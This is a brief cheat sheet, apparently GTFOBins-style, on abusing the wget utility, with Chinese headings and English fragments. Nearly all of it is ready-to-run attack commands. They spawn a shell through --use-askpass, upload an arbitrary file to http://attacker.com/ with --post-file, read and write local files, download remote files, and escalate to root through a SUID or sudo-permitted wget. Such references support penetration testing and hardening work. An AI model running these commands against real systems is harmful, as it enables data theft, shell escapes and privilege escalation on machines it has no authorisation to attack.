用来生成一个交互式的系统shell。
TF=$(mktemp)
chmod +x $TF
echo -e '#!/bin/sh\n/bin/sh 1>&0' >$TF
wget --use-askpass=$TF 0
上传文件到外部。
--post-data
to send hard-coded data. URL=http://attacker.com/
LFILE=要发送的文件
wget --post-file=$LFILE $URL
从文件中读取数据。
wget
. The content appears, somewhat modified, as error messages, thus this is not suitable to read arbitrary binary data. LFILE=要读取的文件路径
wget -i $LFILE
将数据写入文件中。
wget
. The data is written, somewhat modified, as error messages, thus this is not suitable to write arbitrary binary data. LFILE=要写入的文件
TF=$(mktemp)
echo DATA > $TF
wget -i $TF -o $LFILE
下载远程文件。
URL=http://attacker.com/file_to_get
LFILE=file_to_save
wget $URL -O $LFILE
suid是一种授予文件的权限类型,它允许用户使用者以文件所有者的权限来执行文件。
TF=$(mktemp)
chmod +x $TF
echo -e '#!/bin/sh -p\n/bin/sh -p 1>&0' >$TF
./wget --use-askpass=$TF 0
如果二进制文件被 sudo 允许以超级用户身份运行,可能被用于访问文件系统、提升或维持特权访问。
TF=$(mktemp)
chmod +x $TF
echo -e '#!/bin/sh\n/bin/sh 1>&0' >$TF
sudo wget --use-askpass=$TF 0